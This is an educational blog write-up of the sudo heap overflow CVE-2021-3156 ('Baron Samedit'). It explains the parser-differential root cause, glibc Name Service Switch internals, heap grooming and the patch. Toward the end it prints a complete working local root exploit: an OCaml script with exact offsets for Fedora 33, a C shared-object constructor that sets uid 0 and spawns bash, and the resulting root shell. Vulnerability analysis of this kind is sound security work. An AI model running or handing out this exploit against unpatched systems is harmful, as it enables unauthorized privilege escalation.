Sudoedit heap overflow

Jayden Rivers
@Awarau1


Introduction


On January 27th 2021 Qualys released a report on a bug they had found in the commonly used Unix utility: sudo. The bug had been present in sudo for nearly 10 years. Their report, which can be found here CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit) | Qualys Security Blog, outlines the root cause and three possible methods of exploitation.

Here, we give a brief overview of the relevant workings of sudo. Then we discuss the vulnerability as well as one possible exploitation method in depth. The details of exploitation will focus on our application of the technique known as “heap grooming” or “heap feng shui”. Lastly, we outline the fix.   

Sudo (utility)

Sudo, or “superuser do”, is a widely used utility which assists people in administrating their Unix systems. Many Unix derived operating systems have sudo packaged by default. 


According to the sudo manual, “sudo allows a permitted user to execute a command as the superuser or another user, as specified by the security policy.” The main use for sudo is to have fine-grained control over which users are able to perform which tasks on a given set of hosts. For example, it allows a superuser to delegate responsibilities to other users without having to share the root password with them. 


There are two main designs realised in sudo: a policy plugin and a timestamp ticket system. The policy system decides which users are permitted to elevate their privileges, for which host, and for which particular commands. These capabilities are outlined by default in the sudoers file and through consulting system databases. Additionally, the ticket system decides the duration for which these privileges are elevated before the next sudo password prompt. 


Sudo achieves temporary elevation of privileges by utilising the Unix setuid permission bit. This allows an executable to be run with the owner’s permissions. Where the owner may not be the same user who runs the executable. Because sudo is owned by root, it is run in the context of root.


When sudo is run, it parses the sudoers policy file to decide whether the current user’s requested command should be executed. It then prompts for the user’s password and forks into a child process whose effective user id allows it to perform the requested commands.

The bug

What is the bug?

The bug is a heap-based buffer overflow. It is possible because of an inconsistency between the conditions which guard the initial metacharacter escaping and concatenation mechanism and the conditions which guard the subsequent unescaping and buffer write mechanism. At its core, the bug could be described as a parser differential error resulting in a heap-based buffer overflow.

What is the input and what are the parsers?


The input is the command line arguments supplied to sudo which need to be processed and potentially run in an elevated context. The parser(s) are found in two functions: parse_args and set_cmnd

The first parser is found in parse_args, logically part of the sudo frontend. 

Take note of the initial guard condition which checks the command mode at line 604.   

 

604     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {

605         char **av, *cmnd = NULL;

606         int ac = 1;

607

608         if (argc != 0) {

609             /* shell -c "command" */

610             char *src, *dst;

611             size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) +

612                 strlen(argv[argc - 1]) + 1;

613

614             cmnd = dst = reallocarray(NULL, cmnd_size, 2);

[...]

619

620             for (av = argv; *av != NULL; av++) {

621                 for (src = *av; *src != '\0'; src++) {

622                     /* quote potential meta characters */

623                     if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')

624                         *dst++ = '\\';

625                     *dst++ = *src;

626                 }

627                 *dst++ = ' ';

628             }

629             if (cmnd != dst)

630                 dst--;  /* replace last space with a NUL */

631             *dst = '\0';

632

633             ac += 2; /* -c cmnd */

634         }

635

636         av = reallocarray(NULL, ac + 1, sizeof(char *));


As you can see, the purpose of this code block is to escape potential metacharacters with a backslash. 
The second parser is found in set_cmnd:

935     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {

[...]

957             /* Alloc and build up user_args. */

958             for (size = 0, av = NewArgv + 1; *av; av++)

959                 size += strlen(*av) + 1;

960             if (size == 0 || (user_args = malloc(size)) == NULL) {

961                 sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));

962                 debug_return_int(NOT_FOUND_ERROR);

963             }

964             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {

965                 /*

966                  * When running a command via a shell, the sudo front-end

967                  * escapes potential meta chars.  We unescape non-spaces

968                  * for sudoers matching and logging purposes.

969                  */

970                 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {

971                     while (*from) {

972                         if (from[0] == '\\' && !isspace((unsigned char)from[1]))

973                             from++;

974                         *to++ = *from++;

975                     }

976                     *to++ = ' ';

977                 }

978                 *--to = '\0';

979             }


As mentioned in the comment starting at line 965, the purpose of this code is to unescape the non-space characters found in the initially parsed arguments. 


This second parser is necessary because sudo aims at meticulous logging of user activity. This follows from the sudo philosophy of allowing temporary access to superuser capabilities while leaving a clear trail for system admins to see what users are doing with sudo.

But there’s an assumption here: the first parser is a necessary precondition to the second parser. Breaking this assumption leads to a heap-based buffer overflow. To understand how, we first need to prove that there is an inconsistency between the guard conditions of the parse_args parser, and those of the set_cmnd parser. Respectively, 


604     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {


and 


935     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {

[...]

964             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {


Say that our aim is to run the set_cmnd parser on data which didn’t flow through the parse_args parser, what conditions would need to be fulfilled?

We know that if either MODE_RUN or MODE_SHELL are false, then the first parser is not run. 

We also know that only one of MODE_RUN, MODE_EDIT, or MODE_CHECK and one of MODE_SHELL or MODE_LOGIN_SHELL need to be true for the second parser to run. 


With this information, there are a few hypothetical ways to break the assumption (that the second parser implies the first parser):


  • MODE_RUN is false, MODE_EDIT or MODE_CHECK is true, and MODE_SHELL or MODE_LOGIN_SHELL is true. 

  • MODE_SHELL is false, MODE_EDIT or MODE_CHECK is true, and MODE_LOGIN_SHELL is true.

  • MODE_RUN and MODE_SHELL are false, MODE_EDIT or MODE_CHECK, and MODE_LOGIN_SHELL is true. 


However, sudo also validates combinations of these flags. For example, it doesn’t make sense to allow both MODE_EDIT and MODE_SHELL to be set at the same time. Ordinarily, MODE_EDIT is set with the “-e” commandline argument to sudo:


363                 case 'e':

364                     if (mode && mode != MODE_EDIT)

365                         usage_excl();

366                     mode = MODE_EDIT;

367                     sudo_settings[ARG_SUDOEDIT].value = "true";

368                     valid_flags = MODE_NONINTERACTIVE;

369                     break;


As shown above, MODE_SHELL is not included as a valid flag at line 368. 
But as detailed in the Qualys report, there is a way to set MODE_EDIT as well as MODE_SHELL without MODE_RUN. 

Say that sudo is invoked through sudoedit, a symlink to sudo which is functionally equivalent to sudo -e

259     /* First, check to see if we were invoked as "sudoedit". */

260     proglen = strlen(progname);

261     if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {

262         progname = "sudoedit";

263         mode = MODE_EDIT;

264         sudo_settings[ARG_SUDOEDIT].value = "true";

265     }


Then the mode at 263 is set to MODE_EDIT, but there is no exclusion of MODE_SHELL from the valid flags. If we use: 

sudoedit -s … 

then we are basically invoking sudo as:

sudo -e -s … 

without proper flag validation and without MODE_RUN.


This allows the set_cmnd parser to run on the user arguments, without them having been processed by the parse_args parser. 


This is a logic error. But why does it result in a heap-based buffer overflow? Returning to the buffer write mechanism in set_cmnd:


958             for (size = 0, av = NewArgv + 1; *av; av++)

959                 size += strlen(*av) + 1;

960             if (size == 0 || (user_args = malloc(size)) == NULL) {

[...]

970                 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {

971                     while (*from) {

972                         if (from[0] == '\\' && !isspace((unsigned char)from[1]))

973                             from++;

974                         *to++ = *from++;


We can now focus on two important things: 

the user_args buffer whose size is the combined length of the argument strings - and what happens at lines 971-974. The assumption here is that the metacharacters in NewArgv (traversed via from) have already been escaped.

Say that we don’t break the assumption and we give the argument:


BBBB\BB, then parser_args will store this as BBBB\\BB. This means that line 972 will skip the first backslash character, and line 974 will only write the second \ character to the user_args buffer. 


Now say that we do break the assumption and BBB\BB has not been escaped. When this data reaches set_cmnd, then when from[0] is the \ character (and from[1] is not a space), it will be skipped and only ‘BBBBB’ will get written to the user_args buffer. 


This by itself is a minor error, leading to the incorrect logging of commands. But there is a more dangerous use of this error. If we break the assumption and input:


BBBBB\ 


Then what will get written to the buffer when the \ character is skipped? The standard convention is to use a null character to terminate C strings. This means that the string in memory is actually this:


BBBBB\[0] 


where [0] is the null character. So at line 974, the null character is written to the user_args buffer and most importantly, from[0] is now at the next character on the next iteration of the copy. This means that the test at line 971 will be incorrect because from[0] will not be the null character as used to terminate the loop, but will be the next character after the null terminator, continuing the loop beyond the bounds of the buffer. 

 

This results in a heap-based buffer overflow, following from a logic error across two inconsistent conditions which guard the parsing of our inputted data. This naturally leads us to a few questions:


  1. What follows the data in the source buffer, i.e. what data is written beyond the bounds of the user_args buffer? 


x/10s av[ last argument index ] + [ length of argument ]

0x7ffec83bd7eb: "SHELL=/bin/bash"

0x7ffec83bd834: "NAME=fedora33.localdomain"

[...]


As you can see, these are environment variables. So the answer to our question is that the data which will overwrite memory adjacent to user_args are our environment variables. 


  1. What data can we overwrite, i.e. what is in the adjacent regions of memory? 


This is a difficult question to answer because the arrangement of a process’ heap can change based on many different factors. The heap in this sense is not strictly indeterminable but it can be hard to predict exactly which regions of memory will follow which other regions of memory. 


With an overflow, it may also be possible to overwrite inline metadata, taking advantage of the fact that memory allocators such as ptmalloc store their own data adjacent to the client program’s data.

We can make a distinction between application data and heap metadata. Where application data could include things like passwords, file names, objects, and so on and where heap metadata could include size fields, freelist pointers, and decision flags. But in general, it’s a hard task to autonomously decide what is user data and what is heap metadata. And both can influence the control flow of a process. 


Here, we will focus on overwriting application data as for us it was the easiest method to reach code execution. 


  1. How do we turn this into code execution? 


In the Qualys report, a few options were briefly outlined. We chose to overwrite one pointer with a null, partially overwrite the Least Significant Byte of another pointer, and to overwrite a string on the heap which is used to construct the name of a shared object. We were then able to execute our own shared library constructor in the context of sudo. 

Exploiting the bug

Before going into detail about how the bug was exploited, we should learn a few relevant facts about the particular Unix facility sudo uses to check the user’s request against its system capabilities. 

Name Service Switch

Name service switch is an extensible way for C library functions to use name services which access important system admin databases. This enables network-wide configuration.

Some of the databases which name services can access include: aliases, ethers, group, hosts, initgroups, netgroup, networks, passwd, protocols, publickey, rpc, etc.


We are mostly concerned with the group database. This is used by the libc getgrent function which is used by sudo to validate a user’s requested command against its group’s capabilities. If you’re not familiar with Unix groups, they’re basically just sets of users which share common capabilities on a system. Users can belong to multiple groups, allowing for fine-grained as well as general control over which users can access which resources. 


The call graph for when sudo needs to access the group database can help illustrate the above:


main()

policy_check()

sudoers_policy_check()

sudoers_policy_main()

sudoers_lookup() 

set_perms()

runas_setgroups()

runas_getgroups()

sudo_get_gidlist()

sudo_make_gidlist_item() 

sudo_getgrouplist2_v1()

--------------------- GNULibc grgrent() -----------------------

getgrouplist()

internal_getgrouplist()

__GI___nss_database_lookup2() | __nss_lookup_function()

nss_load_library()

Why does sudo use this facility? 


Basically, sudo wants to be sure of a few things: that the user is in the sudoers file and that the user belongs to a group with the capability to do what the user is requesting. But that’s just the sudo side of things. In the C library, this is achieved through getgrent, which is called in sudo_getgrouplist2_v1
as shown here: 

466         setgrent();
467         while ((grp = getgrent()) != NULL) {
468             if (grp->gr_gid == basegid || grp->gr_mem == NULL)
469                 continue;

Now we will look at the implementation of this functionality as it appears in GNULibc 2.32. 

How does libc access the group database?

Say that sudo has called getgrent, the next step is to get the group list from the database. This is done by the below function:


45      static int

46      internal_getgrouplist (const char *user, gid_t group, long int *size,

47                             gid_t **groupsp, long int limit)

[...]

74        if (__nss_initgroups_database == NULL)

75          {

[...]

79                if (__nss_group_database == NULL)

80                  no_more = __nss_database_lookup2 ("group", NULL, "files",

81                                                    &__nss_group_database);


Now in __nss_database_lookup2 the service table is created by nss_parse_file which reads /etc/nsswitch.conf. This only needs to happen once, hence the condition at line 125.  Then a list traversal is performed on the service table to find the entry with the name “group” as passed through the first argument.


125       if (service_table == NULL)

126         /* Read config file.  */

127         service_table = nss_parse_file (_PATH_NSSWITCH_CONF);

128

129       /* Test whether configuration data is available.  */

130       if (service_table != NULL)

[...]

137           for (entry = service_table->entry; entry != NULL; entry = entry->next)

138             if (strcmp (database, entry->name) == 0)

139               *ni = entry->service;


Inspecting memory with GDB, we see that  (name_database *)service_table holds an entries list and a library. 


p *service_table

$3 = {

  entry = 0x55d73a357050,

  library = 0x55d73a35c290

}


If it finds the “group” entry then the value at &__nss_group_database (as passed through the fourth argument) is set to the address of entry’s service_user object. For example:


p *(name_database_entry *)0x55d73a357050

$8 = {

  next = 0x55d73a35baf0,

  service = 0x55d73a35ba30,

  name = 0x55d73a357060 "group"

}


Once __nss_database_lookup2 has initialised __nss_initgroups_database with the relevant entry’s service_user object we call __nss_lookup_function 


94        service_user *nip = __nss_initgroups_database;

95        while (! no_more)

96          {

97            long int prev_start = start;

98

99            initgroups_dyn_function fct = __nss_lookup_function (nip,

100                                                                "initgroups_dyn");


__nss_lookup_function  then calls nss_load_library


447               /* Load the appropriate library.  */

448               if (nss_load_library (ni) != 0)


We will come back to nss_load_library.


From here, we will explore what happens from the perspective of exploiting sudo. But the takeaway in this section is that sudo uses GNULibc to validate the user’s requested commands, and GNULibc uses multiple linked list structures to locate objects which are then used to access the name services. These name services access the relevant database - here that’s the group database. 


The functions mentioned above are applied to various linked lists whose nodes are stored on the heap. In order of containment:


  • service_table is an object representing the deserialized contents of nsswitch.conf 

  • service_table contains an entries linked list

  • each entry has a name and a service, where the services form another linked list of service_user objects. 


We can look at our nsswitch.conf file to find:  


passwd:     sss files systemd

group:      sss files systemd

netgroup:   sss files

automount:  sss files

services:   sss files


This becomes service table, where the left-hand side coloumn becomes the entries list, and where each entry has a row of services. We also have a libraries (handles for shared objects) linked list which we will see again soon. 


So the above description in memory is as follows:


p *database

$15 = {

  entry = 0x5603a9372050,

  library = 0x0

}


p *(*database)->entry

$16 = {

  next = 0x5603a9376af0,

  service = 0x5603a9376a30,

  name = 0x5603a9372060 "group"

}


p *(*(*database)->entry)->service

$17 = {

  next = 0x5603a9376a70,

  actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN},

  library = 0x0,

  known = 0x5603a9377250,

  name = 0x5603a9376a60 "sss"

}


But why is this interesting to us? If you look at the name field of the service_user object above, it is “sss”. If we look at the code of nss_load_library, we can see what this is used for:


322       if (ni->library == NULL)

323         {

324           /* This service has not yet been used.  Fetch the service

325              library for it, creating a new one if need be.  If there

326              is no service table from the file, this static variable

327              holds the head of the service_library list made from the

328              default configuration.  */

329           static name_database default_table;

330           ni->library = nss_new_service (service_table ?: &default_table,

331                                          ni->name);

332           if (ni->library == NULL)

333             return -1;

334         }

335

336       if (ni->library->lib_handle == NULL)

337         {

338           /* Load the shared library.  */

339           size_t shlen = (7 + strlen (ni->name) + 3

340                           + strlen (__nss_shlib_revision) + 1);

341           int saved_errno = errno;

342           char shlib_name[shlen];

343

344           /* Construct shared object name.  */

345           __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,

346                                                   "libnss_"),

347                                         ni->name),

348                               ".so"),

349                     __nss_shlib_revision);

350

351           ni->library->lib_handle = __libc_dlopen (shlib_name);


From line 345-347 the name field is used to construct the name of a shared object with the  libnss_XXX.so.* convention. Then at line 351 this shared object is opened (and its constructor executed) through __libc_dlopen.

p shlib_name

$19 = 0x7ffe86db9be0 "libnss_sss.so"


Hypothetically, if we were able to overwrite the name of a service_user object then we could choose which shared object to execute in the above sequence, as the superuser.

 

It should also be noted that we want to enter the block at 322. In other words, if our ni->name
is overwritten, then our ni->library must also be overwritten because the library field comes before the name field. If we can’t overwrite the library field with null bytes, then we will get an early crash on line 336. 

Overwriting an nss service_user object

As we mentioned earlier, the arrangement of the heap can be quite hard to predict. But with some experimentation it becomes easier to control in a reliable way. Here we outline the constraints on our attempt to use the heap overflow to write into the name field of a service_user object. 


  1. The target service_user object must come after the buffer we overflow. 


The bug is a heap overflow, rather than a heap underflow. 


  1. We must be able to write nulls to the library field. 


Looking at the above code paste, we want to enter the block at 322. 

In other words, if our ni->name is overwritten, then our ni->library must also be overwritten because the library field comes before the name field. But if we don’t overwrite it with nulls, then at line 336 we will get a crash. 


  1. The buffer we overflow must come after the service_table object in memory. 


Say that this is our service_table:


p *service_table

$2 = {

  entry = 0x55ba0c7a5050,

  library = 0x55ba0c7aa290

}


x/4gx service_table

0x55ba0c7a5030: 0x000055ba0c7a5050      0x000055ba0c7aa290


We need the heap arranged like this because if this sequence is called before the overflow and then we overwrite the service_table object with bad or null data, we will either crash or never get see our target service_user object used to load the shared object. The entries list will be broken leaving our service_user object unreachable.

So if we want to overwrite application data which is accessed via the entries linked list, we need to be sure that our overflowed buffer comes after the service_table object in memory. 


  1. In order to load our own shared object, the condition at line 336 in the above code block must also be successful. We can see what needs to be achieved by looking at nss_new_service, called before the condition at line 336:


787     static service_library *

788     nss_new_service (name_database *database, const char *name)

789     {

790       service_library **currentp = &database->library;

791

792       while (*currentp != NULL)

793         {

794           if (strcmp ((*currentp)->name, name) == 0)

795             return *currentp;

796           currentp = &(*currentp)->next;

797         }


This means that if we have two contexts: before the overflow and after the overflow, 

and a service_table library which we overwrite is instantiated with a library handle as below:


p **currentp

$8 = {

  name = 0x559b1eeb0a60 "sss",

  lib_handle = 0x559b1eeb12d0,

  next = 0x0

}


Then we have overwriten the name “sss”, but the lib_handle will not be null. The problem with this is that a previously instantiated library handle will get reused for our service_user object, meaning we never get to execute our own shared object. 


In summary: we want our heap memory to look like this:


[ service_table ] 

...

[ user_args ]

...

[ target service_user ] 

...

[ target service_library ] 


But if our user_args allocation and overflow happens only after the service_user objects are first created, doesn’t this mean we can’t overflow into them? 

GNULibc Malloc

A process’ data memory comes in a few types. There’s local, or automatic memory, which uses a function stack to store regions of memory. There’s static memory which remains for the entire process, and there’s manually or dynamically allocated memory.

In the last type, we are concerned with the heap. For our purposes, we use the dynamic memory allocator which comes with GNULibc: ptmalloc. Ptmalloc allows the programmer to have control over individual regions of memory - sometimes called “chunks”. This control includes their size and their state (whether they are freed / available or whether they are currently in use, potentially storing application data). There’s also some additional flags embedded in the headers of these chunks.

The freed state is necessary because once we have allocated a region of memory and after we have decided that we no longer need it - say once the data in it has been processed, then we want to be able to recycle this region of memory in the future, maybe writing different data to it. If not for this, we could run out of heap memory quite quickly, given a sufficiently complex process - known as “memory leaks”.  


Malloc has facilities to accomodate this, often called freelists or bins. These are single or double linked lists which hold freed chunks. These freed chunks are then matched with the size argument in a future allocation request. I.e. if we have chunk A of size 0x40 and a chunk B of size 0x20 and then A is freed, if we then request a ~0x40 sized chunk C in the future, the memory originally used by A will be returned again. Meaning the order in memory will be C, B. 


For our purposes here, all we need to know is that a previously freed chunk, sitting at an “earlier” part of the heap, may be reallocated back to the programmer in the future.

This solves the question asked at the end of the previous section. 

In effect, with enough control over application logic, we are able to put our user_args buffer before the target service_user object in memory, even considering that the user_args buffer is requested at a later point in the process. 


But we don’t just need a way to arrange the heap such that user_args is before service_user, but also that service_table sits before all of them and service_library sits after all of them. 


So how do we actually get this control over the heap? 

Heap Feng Shui

This is a way of using existing application logic to arrange the heap in a controlled way. Our goals here:


  • Allocate and free some chunks of memory early to shape the heap how we want. 

  • Get the user_args buffer to reuse a predefined chunk which sits at the optimal location in memory. 

  • Ensure this chunk is after service_table but before the target service_user and service_library.


We can achieve the first goal easily because we can always allocate and free chunks of our chosen size at the very beginning of sudo’s execution, found in the main function before set_cmnd:


    171     setlocale(LC_ALL, "");

    172     bindtextdomain(PACKAGE_NAME, LOCALEDIR);

    173     textdomain(PACKAGE_NAME);


Essentially, we can use the LC environment variables to shape the heap. If we break in set_cmnd, we see some of the available chunks which user_args could use below


size   address

----------------------------------

0x50 [  1]: 0x55e0a7bd2700 

0x80 [  1]: 0x55e0a7bc09b0 

0xb0 [  1]: 0x55e0a7bc02d0 

0xc0 [  1]: 0x55e0a7bc9a90 

0xd0 [  1]: 0x55e0a7bc2fa0 

0x110         [  1]: 0x55e0a7bd9550 

0x1e0         [  1]: 0x55e0a7bd1510 

0x3b0         [  1]: 0x55e0a7bc30b0


So which one do we choose? It took us a bit of trial and error rather than purely through planning. But our process was as follows:


  1. Break in set_cmnd see where the user_args is.

  2. Break in __nss_database_lookup2 and see where the service_table is.

  3. Break in nss_load_library and see where the service_user linked list nodes are. 


We were able to arrange the heap in such a way that we got the below addresses (where their relative offsets are the same between runs but not their actual addresses due to ASLR). 


[ service_table: 0x55e0a7bbc030 ] ...

[ user_args: 0x55e0a7bc09b0 ] ...

[ service_user: 0x55e0a7bc0a30 ] ...

[ service_library: 0x55e0a7bc1290 ]


This looks good, but as mentioned earlier, when it comes to the service_library we want to overwrite some part of it in order to ensure the below code never returns another service_library.


787     static service_library *

788     nss_new_service (name_database *database, const char *name)

789     {

790       service_library **currentp = &database->library;

791

792       while (*currentp != NULL)

793         {

794           if (strcmp ((*currentp)->name, name) == 0)

795             return *currentp;

796           currentp = &(*currentp)->next;

797         }


To reiterate, this is important because otherwise a new library handle will not be created and our shared object will not get executed. Rather than overwriting the entire service_library object as would be tempting, it is safer to only partially overwrite the name pointer field of this object. We can do this by ending the overflow at the LSB of the name pointer field, as shown below:


x/32gx 0x55e0a7bc1290 - 32

0x55e0a7bc1270: 0x0000000000000000      0x0000000000000000

0x55e0a7bc1280: 0x0000000000000000      0x4242420000000000

0x55e0a7bc1290: 0x000055e0a7bc0a00


p *database->library

$15 = {

  name = 0x55e0a7bc0a00 '0' <repeats 32 times>,

  lib_handle = 0x55e0a7bc12d0,

  next = 0x55e0a7bc19a0

}


This ensures that the nss_new_service list traversal and string compare will not find the correct name and so it will not recycle the library handle of the service_user object we overwrite. Here, we overwrote the name field’s LSB.

But we also used null bytes with our target service_user structure’s library field:


p *ni

$12 = {

  next = 0x0,

  actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE},

  library = 0x0,

  known = 0x55e0a7bd7240,

  name = 0x55e0a7bc0a60 "X/X"

}


In fact, the bug allows us to write an arbitrary amount of null bytes via our environment variables. For each environment variable which ends with a backslash, a null byte is written. If you have an array of backslashes:


environment_vars = [

   “\\”, “\\”, “\\”, “\\”,

        “\\”, “\\”, “\\”, “\\”,

“\\”, “\\”, “\\”, “\\”,

“\\”, “\\”, “\\”, “\\”, 

“B”, 

];


This will get written as a block of null bytes in memory. This gives us all the things we need to successfully exploit this vulnerability.

Let’s quickly review the things we can do:


  • We can overflow from a chunk whose start address and size we have influence over

  • We control the contents and size of the data we use to overflow.

  • We can write as many null bytes as we want.

  • We can stop writing to memory with a stopper environment variable, which doesn’t end with a backslash. 

Overview of our exploit

The below exploit is written in OCaml. It is a nice language to read so we use it to illustrate exploitation of sudo:


(* 1.9.4p2 and 1.9.5p1 using GLibc 2.32 

   Tested on fedora33 - magic numbers are

   based on distribution and GLibc version.

*)

let prepenv () =

let lc = String.make 120 '0' in

let env = Array.make (2155) "\\" in


env.(63)   <- "X/X\\";

env.(2153) <- "BBB";

env.(2154) <- "LC_ALL=C.UTF-8@" ^ lc;

env


let prepargs () =

let arga = String.make (0x80 - 0x10) '0' in

let arglist = [

        "sudoedit"; "-u"; "root"; "-s"; arga ^ "\\"

] in


let args = Array.of_list arglist in

args


let env = prepenv ()

let args = prepargs ()

let run = Unix.execve "/usr/local/bin/sudoedit" args env


This exploit does the following:


  1. Create an LC_ALL environment variable such that its heap chunk is allocated and subsequently freed. While we don’t use this same chunk again, through trial and error we discovered that this by itself arranges the heap in the optimal way. 

  2. Prepare an array full of “\\” which get mapped to null bytes in memory. This array is of length 2155, but 2159 is the exact distance between the start of the overflowing environment variables and the LSB of the target service_library->name field. We use the null byte which follows the “BBB” environment variable to achieve this. 

  3. At a calculated offset of 63, we overwrite the name field of our target service_user object. 


Now our service_user object looks like this:


p *ni

$7 = {

  next = 0x0,

actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE},

  library = 0x0,

  known = 0x55d212016240,

  name = 0x55d211fffa60 "X/X"

}


And so after we get a new library with no library handle: 


p *ni->library

$9 = {

  name = 0x55d211fffa60 "X/X",

  lib_handle = 0x0,

  next = 0x0

}


We enter the code block which gets us to code execution:


344           /* Construct shared object name.  */

345           __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,

346                                                   "libnss_"),

347                                         ni->name),

348                               ".so"),

349                     __nss_shlib_revision);

350

351           ni->library->lib_handle = __libc_dlopen (shlib_name);


Where we load our own shared object:


p shlib_name

$11 = 0x7ffc23bc27e0 "libnss_X/X.so"


Of course this requires us to have a subdirectory in the current directory called libnss_X/ which contains a shared object file named X.so.2 with the code:


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

static void __attribute__ ((constructor)) _init(void);


static void

_init(void)

{

        setgid(0);

        setuid(0);

        char *args_execv[] = { 

"bash", NULL 

   };

        execv("/bin/bash", args_execv);

}


With this, we are able to gain code execution. 


user@fedora33 1.9.5p1sudo]$ ./sudoroot

[root@fedora33 1.9.5p1sudo]#


It should be noted that the steps of exploitation will vary between systems and versions. But the general methodology can be reapplied.

The fix

As there are two parts to the bug, there are two main parts to the fix, as far as we can see:


The first part ensures that when invoking sudo through sudoedit, the valid flags are set correctly in parse_args:


    proglen = strlen(progname);

    if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {

    progname = "sudoedit";

    mode = MODE_EDIT;

    sudo_settings[ARG_SUDOEDIT].value = "true";

    valid_flags = EDIT_VALID_FLAGS;

    }


Additionally, a check to determine whether we are writing after the null byte is performed in set_cmnd:


            while (*from) {

            if (from[0] == '\\' && from[1] != '\0' &&

                !isspace((unsigned char)from[1])) {

                from++;

            }

Summary

The bug is a heap-based overflow made possible by a parser differential error, in turn made possible by inconsistent guard conditions around the two parsers. Our chosen method of exploitation focuses on loading a shared object through the Name Service Switch facility of GNULibc. Sudo uses this facility to access the group service and database so that it can check a user’s request against the group’s capabilities.

Although nothing new was discussed here, as the method of exploitation was already mentioned by Qualys in their original report, our hope is that you come away with a better understanding of the vulnerability and some small part of GLibc internals. It is also our wish to express the unlikeliness of finding a vulnerability like this given that:

  1. it’s interprocedural (across parse_args and set_cmnd)

  2. at its heart this is a logic error (across two guard conditions)


Both of these facts make such a bug very hard to spot and this is probably why it was present in sudo for nearly 10 years.


Popular posts from this blog

Empowering Women in Cybersecurity: InfoSect's 2024 Training Initiative

Pointer Compression in V8

C++ Memory Corruption (std::string) - part 4